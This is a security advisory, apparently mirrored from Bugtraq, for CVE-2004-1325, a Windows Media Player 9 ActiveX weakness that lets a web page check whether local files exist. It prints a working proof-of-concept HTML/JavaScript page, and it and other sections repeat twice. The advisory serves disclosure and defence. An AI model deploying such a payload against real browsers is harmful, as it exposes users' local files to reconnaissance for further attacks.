Windows Media Player ActiveX Control File Enumeration Weakness
BID:12032
Info
Windows Media Player ActiveX Control File Enumeration Weakness
| Bugtraq ID: | 12032 |
| Class: | Access Validation Error |
| CVE: |
CVE-2004-1325 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 18 2004 12:00AM |
| Updated: | Jul 12 2009 09:26AM |
| Credit: | Discovery is credited to Arman Nayyeri. |
| Vulnerable: |
Microsoft Windows Media Player 9.0 |
| Not Vulnerable: |
Microsoft Windows Media Player 10.0 |
Discussion
Windows Media Player ActiveX Control File Enumeration Weakness
The Windows Media Player ActiveX control is prone to a security weakness that may allow a malicious Web page to enumerate files that exist on the client computer.
This could aid in further attacks.
This issue is reported to affect Windows Media Player 9. It reportedly does not work on computers running Windows XP SP2 when the attack is executed from a remote source. This is likely due to additional browser security measures in Windows XP SP2.
The Windows Media Player ActiveX control is prone to a security weakness that may allow a malicious Web page to enumerate files that exist on the client computer.
This could aid in further attacks.
This issue is reported to affect Windows Media Player 9. It reportedly does not work on computers running Windows XP SP2 when the attack is executed from a remote source. This is likely due to additional browser security measures in Windows XP SP2.
Exploit / POC
Windows Media Player ActiveX Control File Enumeration Weakness
The following exploit was provided:
<html><head><title>My Mortality</title></head><body>
<H1>Look at yourself and find the mortality of your body</H1>
<object style="display:none;"
classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6"
id="WindowsMediaPlayer">
<param name="autoStart" value="0">
<param name="mute" value="1">
</object>
<script>
var filePath = prompt("Enter the path of local file to check:","c:\\test.txt");
WindowsMediaPlayer.URL=filePath;
setTimeout(
function(){
ss=WindowsMediaPlayer.currentMedia.getItemInfoByAtom(19);
if (ss!="")
alert(filePath+" exist.\nThe file size is "+ss+" bytes. And you are surely vulnerable");
else
alert(filePath+" does not exist. Or you are not vulnerable");
}
,100);
</script>
</body></html>
The following exploit was provided:
<html><head><title>My Mortality</title></head><body>
<H1>Look at yourself and find the mortality of your body</H1>
<object style="display:none;"
classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6"
id="WindowsMediaPlayer">
<param name="autoStart" value="0">
<param name="mute" value="1">
</object>
<script>
var filePath = prompt("Enter the path of local file to check:","c:\\test.txt");
WindowsMediaPlayer.URL=filePath;
setTimeout(
function(){
ss=WindowsMediaPlayer.currentMedia.getItemInfoByAtom(19);
if (ss!="")
alert(filePath+" exist.\nThe file size is "+ss+" bytes. And you are surely vulnerable");
else
alert(filePath+" does not exist. Or you are not vulnerable");
}
,100);
</script>
</body></html>
Solution / Fix
Windows Media Player ActiveX Control File Enumeration Weakness
Solution:
This issue has been reportedly addressed in Windows Media Player 10. Symantec has not confirmed this.
Solution:
This issue has been reportedly addressed in Windows Media Player 10. Symantec has not confirmed this.
References
Windows Media Player ActiveX Control File Enumeration Weakness
References:
References:
- Security Research (Arman Nayyeri)